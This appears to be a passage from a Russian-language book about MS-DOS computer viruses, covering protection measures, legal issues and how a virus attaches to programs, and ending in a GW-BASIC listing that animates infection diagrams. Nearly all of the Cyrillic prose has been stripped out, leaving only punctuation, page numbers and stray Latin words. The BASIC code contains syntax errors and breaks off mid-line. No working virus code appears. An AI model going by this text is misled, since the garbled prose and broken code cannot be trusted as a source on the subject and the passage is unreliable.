  .      
 ,        -
    ? ""   -
     .   -
,   ,      -
 ,   ?

             7.10    

             -
     .        
   ASCII     -    -
,   DEBUG,      
     .    
  ,    ,  ,   -
   ,     
    .        
,     ,     
     .   
  ,      .  -
 , ,   " " (.  7.1).
      . -
      ,     -
 ,      -
  .          
   ,      
   /  ,  -
     .    -
  ,      ,    
 .
         -   
   ,      -  
 .        
 .   ,   ,  

                           - 123 -
  ,         -
,        
 ,  ,      
  .
          ,   
   ,       .
  -  ,     -
    ,     ,  
     .    -
        .  
       ,  
   . ,  ,   -
        
,       -
   -.
        ,      -
    .  ,    
   -      -
  ,   . 
   ,        
   .     
 ,   -
  ,      .     
       
 .        
   -.

              7.11     

        ,    -
     ,       ,
  ,  .
         ,  -
        .
         
   . , ,  
 ,        
       .
           ,    

                           - 124 -
.         -
    ,     
-      .  ,  
  ,        
    ,        
,           
 (    ).
             -
.        ,
        
.       ,
, ,        ,  
      ,  ,  ,
        . 
       -
 ,      -
  .  ,     
     ,        
 ,     
-  .  ,    ,    
    ,         
        
    ,     
 .







               8.   

     ,        ,
     ,   -
  ,    -
      . -
,  ,      -
          ,
      .
                 
.      -
,    ,    ,  
  (  ) - .

                  8.1  

            -
       -
.           
 .
        "  " ,  -
 ,    -
 -     !
            ,       
  ,       -
          -
 .     
     ,    
  :

                    1.  

          ,      
   ,     
       
      .      
     ,     
15    .         
     .

                           - 126 -

           2.    

              
       
.  ,    ,  -
         -
.   ,    
  1.   -    -
                  
.

                    3.  

              
 ,       .
   ,   
  ,        
.      ,   
      ,    
    .    -
       ,   -
 ,    .   
       ,   
        -
      .  , 
            
     ,    
    .

             5.   

     -      
   .  ,    ,
          -
  ,   .    -
        -
       .


                           - 127 -
             6.   

             
     .  -
,      -
.    ,    -
  ,       .
         -
  .   -
      . -,
         -
   , -,    ,
    ,      -
 .       
,         -
       - . 
  ,   .
             -
 ?
              
     . , -
     ,     
  ,    ,      
     .  ,  
      ,     
 ,      -
   .  ,   
     .
     ,       ,
     .
               ,
      , ,   
    .         ,
        WORM
(   ),     
  .
          -      ,
      
 .     ,  

                           - 128 -
         
    .
        ,    -
        ,      
 .

                       8.2  

                
,      ,    -.
    -   ,    
   .         
  " - (.15.8)".      
          -
  ,   ,   -
     .   ,       
     "   
,      .
            
.

                 1.   

           ,    
       ,  -
   .     . 15.

                           2. 

           
 .      -
, ,  ,    . 
 :

     )    (. .15).
     )     -     -
         "TYPE"  "DEBUG".
     )    .


                           - 129 -
                  3.   

                
       -
.          -
   .      ,  
  ,   . , ,
    SCII     -
,          
 :       
 ,      ..

                4.   

         ,   .  3.
,       -
.          -
  ,          
    ,    
  .

                         5. 

      , ,      -
  (. .4).      -
  ,      
   ,     -
  .
          , 
   .4   ,     
     .      
          
  .     
 . ,    VS-DOS -
                
.   "" , ,  .  
    . , -
      .     -
     ,       

                           - 130 -
.      .
         .. ,  
     -     RENAME  ""
,  - . -,  
  ,       
,      ( MS_DOS  -
     .  .). 
 .   .DUM,      -
    .      
      
  .. ,       ,  
    .
            BATCH  
    . 14.
               
     . ,  
 :    .

                    8.3  


          ,   ,
"   ,      ,
     .   -
      ,    
.           
     .
     ,        ,  -
,    ,  ,  -,  
      .    
   ,   -
   -.      ,   
   .    -
            .  ,
,   ,       
.     .
     ,        
    .   -
    ,       

                           - 131 -
     .     
              "Head-
Load"("  "),        WP
("Write Protect"-  ").     
"Head-Load"         .    
     .    
       (,  )  
     .  
  ,      .     
            .
       
  .
           -
    .       
          
.  ,     -
   ,      -
    .
          ,    
  ,        -
.      -
        ,  ,
  RACF  TOPSECRET. ,     -
  ,       -
     .

                          8.4 

               
, ,   ,     .
    ,     ,  ,
    .
          :   
        , 
       ,  
 .        -
    16.2,      .
   ,       -
    .   

                           - 132 -
    ,  ,   .  
   ,     
.
              
 ,          -
      .    
          
.     -       
.      .  
    ,     
      .   
   .     "
"   , ,      .
,       -
,    .

   8.5      

                
         
.      - ,     
.
       ,       -
 ,        -
.      
:
     1)       -
  :
     )  ,  , ,    
          ,  -
          ,    ;
     )  ,      ;
     2)      -
    , ,    -
     ;
     3) ,     -
    ,       -
.
                  ,

                           - 133 -
      .   
     ,      ,
  (     ).
       -
  (          ,
, )   ,     -
   ,      
.
             -
         , 
           
(    ).    ,   
      ,  
        
         ,
            
.
             , -
          ,  
,        
!
       ?
         ,    -
    ,   ,    ,
   ,     -
  .    ,      
,     ;  ,    
    (,   ..); ,    
            
,       " ".
         ,     
  ,        ,
       ,
            -
  .  ,      
           
 (   ,    ..).
              -
    ,        

                           - 134 -
    ,  
         .  
 "",   1986 . "  
        
         
 ("", 16,06,87)".
             -
   , " ,     
   " "" .   
    " 30-40%    -
                     "
("",16,06.87).
          :
        ,     
      -
,           
 .
            ,   
        
       
  .
           ?

                   

           ,  "  
     ,   ,
      ;    
        
 .    
    ,      
 " ".
        ,   ,  "  -
"   ,     -
     .     ,  
    .  -
             
 .
            ,  -,

                           - 135 -
    :
       ,  :

     )      (      
           );
     )       .

        

                
,      (      )
      

     )  ,  ,      
        ,      ,
          ;
     )  ,      .

          ,  
    ,     
        -
   .      
   ,  "-
    - 
      , -
      ".
       ,       
       ,      
 ,      ..
            
  .  , ,      "
".
                
   -  20 ,  -
     .   
  "  "  .      
         
.  ,  ,  120  -
   6    4..

                           - 136 -

                       :

     -  ?
     -   ?
     -  ?
     -      ?
     -      ?
     -           
?
     -        ?
     ,    ,      
,      .  
        -
  .    -
      "    
",  .. ,    .  
   ,      
       10 .  1   
,     .



                              

               

             
         
,  , ,    
 .      
,                   
.
                
  ,    , 
     .     
,              
,           ,
    -    

                           - 137 -
.
      ,    ,  
      ,       
.   ,   -   
     ,     
  .
                
   .

           9.      

     ,  ,    ,  
 ,     -
     .         
       -
 .
            -.    ,
      -
   -,          
  -.
        ,  ,     -
   ,       
        .    ,
        
    .   -
     ,      
          .  
            
   "".  ,  
  ,       .
,  ,  "",  ,    
 ,   ,   -
  .
      ,     
"",           

, ,      -
  . ,     ,   
  -      ,    

                           - 138 -
      .

                   9.1  

               
   . -    
       4.    
     .  -
,       ,    
     (" ").
                  
     ,   
 ,      -
   ""    
"  "  :     
,  " -  ". ,    -
,       ,  -
      .
          ""  
   ,     4.      
  "MAN",            
 7   .

     K      
     VIR   
     MAN     (,  )

                    - 

               
   .   ""
 ,        
    .
          ,     
     .    ""
         -
                 "
".                   
 .

                           - 139 -
     -------------------------------------------
      K  VIR  MAN  - 
     L-------------------------------------------
               
 .        
.          
   .   ,  
       "".    
   ,      
,         "".
    ------------------------------------------------
                          
    L------------------------------------------------
              (        
   )   , ..  
    ,   -
 .

     -----------------------------------------------
      K  VIR  MAN      
     L-----------------------------------------------

       ,      "-
"  ,     MAN, 
        . 
      --
  ,       
.  ,       -
    -. -   
   -,       -
  .
           ""  -
         ,
         .
          ,     
   .       
     ,    ""  
     ,   ,  EDLIN.  
        ,

                           - 140 -
   ,    
    .
              
    .    
      .      
  "",         
.
---------------------------------------------
 K  VIR  MAN      
L---------------------------------------------  ,
                                                
                                               
               ,        
 "", ..     .
         :
---------------------------------------------
                   
L---------------------------------------------
          :
---------------------------------------------
 K  VIR  MAN    
L---------------------------------------------
        ,            
,       .
          
  ,      . ,   
        -   
   .
           ,      
     ,           
 ""    , , 
 .

     9.2 ,    

         ,   
       ,    
.          
  -,      ,

                           - 141 -
               ,
     . (    
 "   ")
        ,   -
,        ,    ,   
.
             
,          -
.       
  ,   ,   ,
         ,   ,  
     ,  -
  ,         
      .
    ,      
 .
     "  ,    ".
           ,    
      ?    ,  ,
  ,      -
        .
                  
,   ,    
    "MOV".    -
   ,    
 "".

     K      
     VIR   
     MAN      
     MOV       

          ,   -
 ,  ,   ""   -
    ,    
    .
           ,      
     ,   -
  .   ,  

                           - 142 -
   ,     9,1,   -
 .
     --------------------------------------------------
      K  VIR  MAN  MOV  -  
     L--------------------------------------------------
             .
       -
   "",   -
     .    -
     ,      -
 9.1.
     --------------------------------------------------
                             
     L--------------------------------------------------
             -
   ,       -
-    "MOV".
     --------------------------------------------------
          1-       2-      
     L--------------------------------------------------
                   
 MOV:
     ----------------
      K  VIR  MAN 
     L----------------
             
                   
,       -
 .   ,     
       ,    
  .
     --------------------------------------------------
      1-   2-    1- 
     L--------------------------------------------------

              
            
  MOV,        
 .

                           - 143 -
     -------------------------------------------------------
     1-   2-    1-  MOV 
     L-------------------------------------------------------
             
,       . ,     
       -
 -,    MOV  
,         .  
       2-      
 :
     ----------------------------------------------------------
      K  VIR  MAN  2-   1-  MOV
     L----------------------------------------------------------
     ,    ().  -
,     ""       
       ,     
   .      
,      .
      -    
,     .
         ,      
9.1,           
  .       ,
                
.
     -----------------------------------------------------------
      K  VIR  MAN 2-    1-  MOV 
     L-----------------------------------------------------------
          -
           
   .       -
  .
        :
     ------------------------------------------------------------
                       3-                   
     L------------------------------------------------------------
         :
     ------------------------------------------------------------
      K   MAN  3-    1-   MOV

                           - 144 -
     L------------------------------------------------------------
        ,            
,     MAN,  -
  MOV.
               
 .   MOV    
             
       .
         MOV    -
:
     -----------------------------------------------------------
      K  VIR  MAN  2-   1-  MOV 
     L-----------------------------------------------------------
         MOV:
     -----------------------------------------------------------
      1-   2-     1-    MOV 
     L-----------------------------------------------------------
              
    .      MOV
    ,    -
  .    ,  "  "
      MOV ,     
       .
     ,            
      -
.        -
,      "     
      "      
 .
               ,   
     .   
    ,   .

                  9.3  -  

           1,  -  
  ""   . -
        
 ;      -

                           - 145 -
         .  
    -     ,  
       .    
   -  
    ,   MS-DOS -
 : "Programm passt nicht in den Speicher". (" -
    ").
         -    
  :
     ------------------------------   
                    
     -----------------------------
                   
     -----------------------------
                  
     L------------------------------
       -    
   :
     ------------------------------   
                    
     -----------------------------
                   
     -----------------------------
         
     -----------------------------
                  
     L------------------------------
           
         -
 . ,      
(. . 1.1)      .
       ,   ,      
 ,      -
   8088     MS-DOS.
       RIOS (Basic Input Output System -    
-)         .
           .  
   ,  
  (       MS-DOS).

                           - 146 -
           
   MS-DOS .     -
,    ,  -
         .  
           (
)    ,   
    .
            (-
),    (,    )
    ,     
  ,   .     
   ,     SCII,
   SCII.
             " " 
       -,  
      ,  -
 -      -
    ,    
 .
                 
  (        -
  ):
     -------------------------------------   
                           
            
       ,    
      RETURN                             
     ------------------------------------
                          
     ------------------------------------
        
       (   
        )               
     ------------------------------------
                      
        ()         
            
                                    
     L-------------------------------------

                           - 147 -
         -  -  
     (  -
        ):
     -------------------------------------   
                           
           
      ,      
      RETURN                             
     ------------------------------------
                          
     ------------------------------------
        
       (   
        )               
     ------------------------------------
      - -    
      (  ,    
      ,           
           
      )                           
     ------------------------------------
                      
         ()
         -   
                                       
     L-------------------------------------
      ,  ,     
(     )   ,    
  .      ,  
    .      
  ,      . 
      .  -
         ,
         
            
,    .

                   9.4  -


                           - 148 -
        -    -
  - .        
  -,   400  -
,    400     -    -
. ,      -
  -,     -
    . ,    
   .  ,   -
       
  ,       
  .
              ,         
.  -   ,   
          -
 ,        
,     -    -
    ("Manipuliere.EXE").
           ,      
    (,   " "
(HIDDEN  FILE)),         
-.
     ,         ,         
-       
 .
              ,     
-         
.          "  "  
    .
       8088        
      -.  ,     
   3 (   (16)),
          -
,      ,        
 .
     -------------------------------------   
                           
           
      ,      
      RETURN                             

                           - 149 -
     ------------------------------------
                          
     ------------------------------------
        
                                
                  
       3                       
     ------------------------------------
       -        
      (  ,    
                  
           
      )                           
     ------------------------------------
                      
         ()
       3      
       -           
     L-------------------------------------

                        9.5  

     ,       -
     MS-DOS  ,       
    .
            ,      
  ""        
 .  ,     -
,           ,
         
,     .

                         

              -
 . ,     .  
        ,  
   ,        -
    .

                           - 150 -

                     "" 

     ,  ""   ,   
  ,    ,   
     .     ,
       .

              "  " (Live and Die)

     ,            
.          -
  .       ,  
,  .

              "  " (Hide and Seek)

     ,           
  .   ""    ,
,       .  
  ,         
   .

                 9.6  

            -
      -
    .   
      ,       
          -
.
           :
(1) -    
(2) -  
(9) -  
(0) -  .

  10  REM ********************************************************
  20  REM ***     ****

                           - 151 -
  30  REM ***  .  1987                            ****
  40  REM ********************************************************
  50  SWARS=0: BLAU=1: GRAUEN=2
  60  CYAN=3: ROT=4: MAGNETA=5: BRAUN=6
  70  WEISS=7: GRAU=8: HELLBLAU=9: HELLGRAUEN=10
  80  HELLCYAN=11: HELLROT=12
  90  HELLMAGNETA=13: GELB=14: HELLWEISS=15
 100  A1=BLAU: A2=BRAUN: A3=GELB: A4=ROT
 110  B=0
 120  CLS
 130  REM ***     ***
 140  COLOR A2, B
 150  PRINT "      "
 160  COLOR A2, B
 170  PRINT "  "
 180  COLOR A2,B:LOCATE 5, 1
 190  PRINT "   "
 200  GOSUB 4520
 210  REM ***   ***
 211  S11$=CHR$(223)
 212  S10$=CHR$(220)
 213  S6$=CHR(196)
 220  S1011$=S11$+S11$+S11$+S11$+S11$+S11$+S11$+S11$+S11$+S11$
 230  S1010$=S10$+S10$+S10$+S10$+S10$+S10$+S10$+S10$+S10$+S10$
 240  S106$=S6$+S6$+S6$+S6$+S6$+S6$+S6$+S6$+S6$+S6$
 250  S2011$=S1011$+S1011$
 260  S2010$=S1010$+S1010$
 270  S206$=S106$+S106$
 280  S9$=CHR$(219)
 320  S26$=S6$+S6$
 330  S210$=S10$+S10$
 340  S211$=S11$+S11$
 350  S1$=CHR$(179)
 360  S2$=CHR$(191)
 370  S3$=CHR$(192)
 380  S4$=CHR$(193)
 390  S5$=CHR$(194)
 400  S6$=CHR$(196)
 410  S8$=CHR$(218)

                           - 152 -
 420  S7$=CHR$(217)
 430  COLOR A1, B
 440  A224$=S9$+" "+S8$+S206$+S206$+S2$+" "+S9$+CHR$(13)
 450  A225$=S9$+" "+S3$+S206$+S206$+S7$+" "+S9$+CHR$(13)
 460  A226$=S9$+S2010$+S2010$+S210$+S210$+S9$
 470  A223$=S9$+S2011$+S2011$+S211$+S211$++S9$+CHR$(13)
 480  A1$=A223$
 490  A2$=A224$
 500  A3$=S9$+" "+S1$+"1-          "+S1$+"
      "+S9$+CHR$(13)
 510  A4$=A225$
 520  A5$=A226$
 530  AW1$=A1$+A2$+A3$+A4$+A5$
 540  B2$=A224$
 550  B3$=S9$+" "+S1$+"2-          "+S1$+"
      "+S9$+CHR$(13)
 560  B4$=A225$
 570  AW2$=A1$+B2$+B3$+B4$+A5$
 580  C2$=A224$
 590  C3$=S9$+" "+S1$+"3-          "+S1$+"
      "+S9$+CHR$(13)
 600  C4$=A225$
 610  AW3$=A1$+C2$+C3$+C4$+A5$
 620  D2$=S9$+" "+S8$+S6$+S5$+S26$++S26$+S6$+S5$+S26$+S26$+S26$+S2$+
      S8$+S206$+S26$+S26$+S2$+" "+S9$+CHR$(13)
 630  D3$=S9$+"  "+S1$+"K"+S1$+"  VIR  "+S1$+"  MAN   "+S1$+S1$+"
        "+S1$+S9$+CHR$(13)
 640  D4$=S9$+" "+S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S26$+S26$+
      S7$+S3$+S206$+S26$+S26$+S7$+" "+S9$+CHR$(13)
 650  IRI$=A1$+D2$+D3$+D4$+A5$
 660  E2$=S9$+" "+S8$+S6$+S5$+S26$+S26$+S6$+S5$+S26$+S26$+S26$+S2$+
      S8$+CHR$(13)
 670  E3$=S9$+"  "+S1$+KS1$+" VIR "+S1$+" MAN "+S1$+S1$+CHR$(13)
 680  E4$=S9$+" "+S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S26$+S26$+S7$+
      S3$+CHR$(13)
 690  SE1$=A1$+E2$+E3$+E4$+A5$
 700  F2$=S8$+S6$+S5$+S26$+S26$+S6$+S56$+S26$+S26$+S26$+S6$+S5$+
      CHR$(13)
 710  F3$=S1$+"K"+S1$+" VIR "+S1$+" MAN "+S1$+CHR$(13)

                           - 153 -
 720  F4$=S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S26$+S26$+S6$+S4$+
      CHR$(13)
 730  AW$="   "
 740  WAW1$=" 1-   "
 750  WAW2$=" 2-   "
 760  WAW3$=" 3-   "
 770  H2$=S9$+" "+S8$+S6$+S5$+S26$+S6$+S6$+S6$+S5$+S6$+S6$+S26$+
      S26$+S6$+S5$+S206$+S26$+S26$+S2$+" "+S9$+CHR$(13)
 780  H3$=S9$+"   "+S1$+"K"+S1$+"  VIR"+S1$+" MAN "+S1$+" 1-
        "+S1$+"  "+S9$+CHR$(13)
 790  H4$=S9$+" "+S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S26$+S26$+S6$+
      S4$+S206$+S26$+S26$+S7$+" "+S9$+CHR$(13)
 800  TR2$=A1$+H2$+H3$+H4$+A5$
 810  TR3$=S9$+" "+S1$+"K"+S1$+" VIR "+S1$+" MAN "+S1$+" 2-
        "+S1$+"  "+S9$+CHR$(13)
 820  TR3$=A1$+H2$+I3$+H4$+A5$
 830  J3$=S9$+"   "+S1$+"K"+S1$+" VIR "+S1$+" MAN "+S1$+" 3-
        "+S1$+"  "+S9$+CHR$(13)
 840  TR4$=A1$+H2$+J3$+H4$+A5$
 850  CLS
 860  REM ***    ***
 870  LOCATE 1, 1:PRINT TRI$;
 880  LOCATE 1, 48:COLOR A3, B
 890  PRINT " <<== -  "
 900  GOSUB 4910
 910  LOCATE 7, 1:COLOR A1, B:PRINT AW1$;
 920  LOCATE 13, 1:PRINT AW2$;
 930  LOCATE 19, 1:PRINT AW3$;
 940  GOSUB 4480
 950  COLOR A2, B:LOCATE 3,49
 960  PRINT "  -  "
 970  COLOR A3,B:LOCATE 1, 1:PRINT TRI$
 980  GOSUB 4480
 990  COLOR A2, B:LOCATE 3,49
1000  PRINT "    "
1010  GOSUB 4480
1020  COLOR A2, B:LOCATE 3,49
1030  PRINT "    "
1040  COLOR A3+16 ,0:LOCATE 9, 23:PRINT NAWI$

                           - 154 -
1050  GOSUB 4480
1060  COLOR A1, B:LOCATE 9, 23:PRINT NAWI$
1070  COLOR A2, B:LOCATE 3,49
1080  PRINT "   ? "
1090  COLOR A2, B:LOCATE 4,49
1100  PRINT " ===>> "
1110  COLOR A4+16 , 0:LOCATE 9, 4:PRINT "K"
1120  GOSUB 4480
1130  COLOR A4, 0:LOCATE 8, 3:PRINT F2$
1140  LOCATE 9, 3:PRINT F3$
1150  LOCATE 10, 3:PRINT F4$
1160  COLOR A2, B:LOCATE 3,49
1170  PRINT "    -"
1180  COLOR A2, B:LOCATE 4,49
1190  PRINT "                                         "
1200  GOSUB 4480
1210  COLOR A2, B:LOCATE 3,49
1220  PRINT "                                         "
1230  COLOR A1, B:LOCATE 1, 1:PRINT TRI$
1240  GOSUB 4480
1250  COLOR A2, B:LOCATE 3,49
1260  PRINT "    "
1270  COLOR A3, B:LOCATE 7, 1:PRINT TR2$;
1280  GOSUB 4480
1290  COLOR A2, B:LOCATE 3,49
1300  PRINT "    "
1310  GOSUB 4480
1320  COLOR A2, B:LOCATE 3,49
1330  PRINT "    "
1340  COLOR A3+16 ,B:LOCATE 9, 23:PRINT NAWI$;
1350  GOSUB 4480
1360  COLOR A3,B:LOCATE 9, 23:PRINT NAWI$
1370  COLOR A2, B:LOCATE 3,49
1380  PRINT "   ? "
1390  COLOR A2, B:LOCATE 4,49
1400  PRINT " Ja()===>>  "
1410  COLOR A4+16 , B:LOCATE 9, 4:PRINT "K"
1420  GOSUB 4480
1430  COLOR A3,B:LOCATE 7, 1:PRINT TR2$

                           - 155 -
1440  COLOR A2, B:LOCATE 3,49
1450  PRINT "    "
1460  COLOR A2, B:LOCATE 4,49
1470  PRINT "                                         "
1480  COLOR A3+16 ,B:LOCATE 15, 23:PRINT NAW2$
1490  GOSUB 4480
1500  COLOR A3, B:LOCATE 15, 23:PRINT NAW2$
1510  COLOR A2, B:LOCATE 3,49
1520  PRINT "   ? "
1530  COLOR A2, B:LOCATE 4,49
1540  PRINT " ===>> "
1550  COLOR A4+16 , B:LOCATE 15, 4:PRINT "K"
1560  GOSUB 4480
1570  COLOR A4, B:LOCATE 14, 3:PRINT F2$
1580  LOCATE 15, 3:PRINT F3$
1590  LOCATE 16, 3:PRINT F4$
1600  COLOR A2, B:LOCATE 3,49
1610  PRINT "      "
1620  COLOR A2, B:LOCATE 4,49
1630  PRINT "                                         "
1640  GOSUB 4480
1650  COLOR A2, B:LOCATE 3,49
1660  PRINT "                                         "
1670  COLOR A1, B:LOCATE 7, 1:PRINT TR2$;
1680  GOSUB 4480
1690  COLOR A2, B:LOCATE 3,49
1700  PRINT "    "
1710  COLOR A3, B:LOCATE 13, 1:PRINT TR3$
1720  GOSUB 4480
1730  COLOR A2, B:LOCATE 3,49
1740  PRINT "    "
1750  GOSUB 4480
1760  COLOR A2, B:LOCATE 3,49
1770  PRINT "    "
1780  COLOR A3+16 ,B:LOCATE 9, 23:PRINT NAWI$;
1790  GOSUB 4480
1800  COLOR A1, B:LOCATE 9, 23:PRINT NAWI$
1810  COLOR A2, B:LOCATE 3,49
1820  PRINT "                                         "

                           - 156 -
1830  COLOR A2, B:LOCATE 4,49
1840  PRINT " Ja()===>>  "
1850  COLOR A4+16 , B:LOCATE 9, 4:PRINT "K"
1860  GOSUB 4480
1870  COLOR A1, B:LOCATE 7, 1:PRINT TR2$
1880  COLOR A2, B:LOCATE 3,49
1890  PRINT "    "
1900  COLOR A2, B:LOCATE 4,49
1910  PRINT "                                         "
1920  COLOR A3+16 ,B:LOCATE 15, 23:PRINT NAW2$
1930  GOSUB 4480
1940  COLOR A1, B:LOCATE 15, 23:PRINT NAW2$
1950  COLOR A2, B:LOCATE 3,49
1960  PRINT "   ? "
1970  COLOR A2, B:LOCATE 4,49
1980  PRINT " Ja()===>>  "
1990  COLOR A4+16, B:LOCATE 15, 4:PRINT "K"
2000  GOSUB 4480
2010  COLOR A3, B:LOCATE 13,PRINT TR3$;
2020  COLOR A2, B:LOCATE 3,49
2030  PRINT "    "
2040  COLOR A2, B:LOCATE 4,49
2050  PRINT "                                         "
2060  COLOR A3+16, B:LOCATE 21, 23:PRINT NAW3$;
2070  GOSUB 4480
2080  COLOR A1, B:LOCATE 21, 23:PRINT NAW3$
2090  COLOR A2, B:LOCATE 3,49
2100  PRINT "   ? "
2110  COLOR A2, B:LOCATE 4,49
2120  PRINT " ===>> "
2130  COLOR A4+16, B:LOCATE, 4:PRINT "K"
2140  GOSUB 4480
2150  COLOR A2, B:LOCATE 20, 3:PRINT F2$
2160  LOCATE 21, 3:PRINT F3$
2170  LOCATE 22, 3:PRINT F4$ 0
2180  COLOR A2, B:LOCATE 3,49
2190  PRINT "      "
2200  COLOR A2, B:LOCATE 4,49
2210  PRINT "                                         "

                           - 157 -
2220  GOSUB 4480
2230  COLOR A2, B:LOCATE 3,49
2240  PRINT "                                         "
2250  COLOR A1, B:LOCATE 13, 1:PRINT TR3$;
2260  GOSUB 4480
2270  COLOR A1, B:LOCATE 19, 1:PRINT TR4$;
2280  REM *** ENDE ***
2290  AUS1$ "1"
2300  GOSUB 4480
2310  CLS
2320  REM ***    ***
2330  COLOR A2,B
2340  PRINT "      "
2350  COLOR A2,B
2360  PRINT "   "
2370  COLOR A2, B:LOCATE 5,1
2380  PRINT "     "
2390  GOSUB 4480
2400  CLS
2410  REM ***   ***
2420  A200$=S9$+S2011$+S1011$+S211$+S211$+S211$+S211$+S11$+S9$+CHR$(13)
2430  A201$=S9$+S2010$+S1010$+S210$+S210$+S210$+S210$+S10$+S9$+CHR$(13)
2440  A1$=A200$
2450  A2$=S9$+" "+S8$+S6$+S5$+S26$+S26$+S6$+S5$+S26$+S6$+S5$+
      S26$+S6$+S5$+S106$+S26$+S26$+S26$+S26$+S6$+S2$+" "+S9$+
      CHR$(13)
2460  A3$=S9$+"  "+S1$+"K"+S1$+"  VIR  "+S1$+" MAN "+S1$+" MOV "+
      S1$+"   "+S1$+" "+S9$+CHR$(13)
2470  A4$=S9$+" "+S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S6$+S4$+
      S26$+S6$+S4$+S106$+S26$+S26$+S26$+S26$+S6$+S7$+" "+S9$+
      CHR$(13)
2480  A5$=A201$
2490  TR1$=A1$+A2$+A3$+A4$+A5$
2500  A200$=S9$+S2011$+S2011$+S9$+CHR$(13)
2510  A201$=S9$+S2010$+S2010$+S9$+CHR$(13)
2520  B1$=A200$
2530  B2$=S9$+" "+S8$S206$+S106$+S26$+S26$+S26$+S2$+" "+S9$+CHR$(13)
2540  B3$=S9$+" "+S1$+" 1-          "+S1$+" "+
      S9$+CHR(13)

                           - 158 -
2550  B4$=S9$+" "+S3$+S20$+S106$+S26$+S26$+S26$+S7$+" "+S9$+CHR$(13)
2560  B5$=A201$
2570  AW1$=B1$+B2$+B3$+B4$+B5$
2580  C1$=A200$
2590  C2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S2$+" "+
      S9$+CHR$(13)
2600  C3$=S9$+" "+S1$+" 1- "+S1$+" 1-    "+
      S1$+S9$+CHR(13)
2610  C4$=S9$+" "+S3$+S106$++S6$+S4$+S206$+S26$+S26$+S7$+" "+
      S9$+CHR(13)
2620  C5$=A201$
2630  ST1$=C1$+C2$+C3$+C4$+C5$
2640  D1$=S9$+S2011$+S2011$+S1011$+S211$+S9$+CHR$(13)
2650  D2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S5$+" "+
      S106$+S6$+S2$+" "+S9$+CHR$(13)
2660  D3$=S9$+" "+S1$+" 1-  "+S1$+"1-   "+
      S1$+" 1-  "+S1$+" "+S9$+CHR(13)
2670  D4$=S9$+" "+S3$+S106$+S6$+S4$+S206$+S26$+S26$+S4$+S106$+S6$+S7$+
      " "+S9$+CHR(13)
2680  D5$=S9$+S2010$+S2010$+S1010$+S210$+S9$+CHR$(13)
2690  ST21$=D1$+D2$ :ST22$=D3$+D4$+D5$
2700  E1$=S9$+S2011$+S2011$+S1011$+S211$+S211$+S211$+S9$+CHR$(13)
2710  E2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S5$+
      S106$+S6$+S5$+S26$+S6$+S2$+" "+S9$+CHR$(13)
2720  E3$=S9$+" "+S1$+" 1-  "+S1$+"1-   "+
      S1$+" 1-  "+S1$+"MOV "+S1$+" "+S9$+CHR(13)
2730  E4$=S9$+" "+S3$+S106$+S6$+S4$+S206$+S26$+S26$+S4$+S106$+S6$+
      S4$+S26$+S6$+S7$+" "+S9$+CHR$(13)
2740  E5$=S9$+S2010$+S2010$+S1010$+S210$+S210$+S210$+S9$
2750  MT21$=E1$+E2$ :MT22$=E3$+E4$+E5$
2760  G1$=S9$+S2011$+S2011$+S1011$+S211$+S211$+S211$+S9$+CHR$(13)
2770  G2$=S9$+" "+S8$+S6$+S5$+S26$+S26$+S6$+S5$+S26$+S6$+S5$+S206$+
      S26$+S26$+S5$+S106$+S6$+S5$+S26$+S6$+S2$+" "+S9$+CHR$(13)
2780  G3$=S9$+" "+S1$+"K"+S1$+" VIR "+S1$+" MAN "+S1$+" 1- 
       "+S1$+" 1-  "+S1$+" MOV "+S1$+" "+S9$+CHR(13)
2790  G4$=S9$+" "+S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S6$+S4$+S206$+
      S26$+S26$+S4$+S106$+S6$+S4$+S26$+S6$+S7$+" "+S9$+CHR$(13)
2800  G5$=S9$+S2010$+S2010$+S1010$+S210$+S210$+S210$+S9$+CHR$(13)
2810  VI21$=G1$+G2$ :VI22$=G3$+G4$+G5$

                           - 159 -
2820  H1$=A200$
2830  H2$=S9$+" "+S8$+S206$+S106$+S26$+S26$+S2$+" "+S9$+CHR$(13)
2840  H3$=S9$+" "+S1$+"2-          "+S1$+"
      "+S9$+CHR$(13)
2850  H4$=S9$+" "+S3$+S206$++S106$+S26$+S26$+S26$+S7$+" "+
      S9$+CHR$13)
2860  H5$=A201$
2870  AW2$=H1$+H2$+H3$+H4$+H5$
2880  I1$=A200$
2890  I2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S2$+" "+S9$+CHR$(13)
2900  I3$=S9$+" "+S1$+" 1- "+S1$+" 2-    "+
      S1$+S9$+CHR$13)
2910  I4$=S9$+" "+S3$+S106$+S6$+S4$+S206$+S26$+S26$+S7$+" "+S9$+CHR$(13)
2920  I5$=A201$
2930  J1$=S9$+S2011$+S2011$+S1011$+S211$+S9$+CHR$(13)
2940  J2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S5$+" "+
      S106$+S6$+S2$+" "+S9$+CHR$(13)
2950  J3$=S9$+" "+S1$+" 1-  "+S1$+" 2-   "+
      S1$+" "+S1$+" "+S9$+CHR(13)
2970  X1$=S8$+S106$+S6$+S5$
2990  V1$=S8$+S6$+S5$+S26$+S26$+S6$+S5$+S26$+S6$+S5$
3000  V2$=S1$+"K"+S1$+" VIR "+S1$+" MAN "+S1$
3010  V3$=S3$+S6$+S4$+S26$+S26$+S6$+S4$+S26$+S6$+S4$
3020  X2$=S1$+" 1-  "+S1$
3030  X3$=S3$+S106$+S6$+S4$
3040  Y1$=S5$+S106$+S6$+S2$
3050  M1$=S5$+S26$+S6$+S2$
3060  Y2$=S1$+" 1-  "+S1$
3070  Y1$=S4$+S106$+S6$+S7$
3080  K1$=S9$+S2011$+S2011$+S1011$+S211$+S211$+S211$+S9$+CHR$(13)
3090  K2$=S9$+" "+S8$+S106$+S6$+S5$+S206$+S26$+S26$+S5$+S106$+S6$+S5$+
      S26$+S6$+S2$+" "+S9$+CHR$(13)
3100  K3$=S9$+" "+S1$+" 1-  "+S1$+" 2-   "+
      S1$+" "+" MOV "+S1$+" "+S9$+CHR(13)
3110  K4$=S9$+" "+S3$+S106$+S6$+S4$+S206$+S26$+S26$+S4$+S106$+S6$+
